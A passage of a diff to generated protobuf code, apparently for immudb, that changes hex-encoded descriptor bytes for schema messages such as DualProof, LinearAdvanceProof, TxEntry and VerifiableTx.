0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, - 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, - 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, - 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, - 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, - 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, - 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, - 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, - 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, - 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, - 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, - 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, - 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, - 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, 0x0a, 0x05, 0x65, + 0x78, 0x74, 0x72, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, + 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, + 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, + 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, + 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, + 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, + 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, + 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, + 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, + 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, + 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, + 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, + 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, + 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, + 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, + 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, + 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, + 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, + 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, + 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, + 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, + 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, - 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, - 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, - 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, - 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 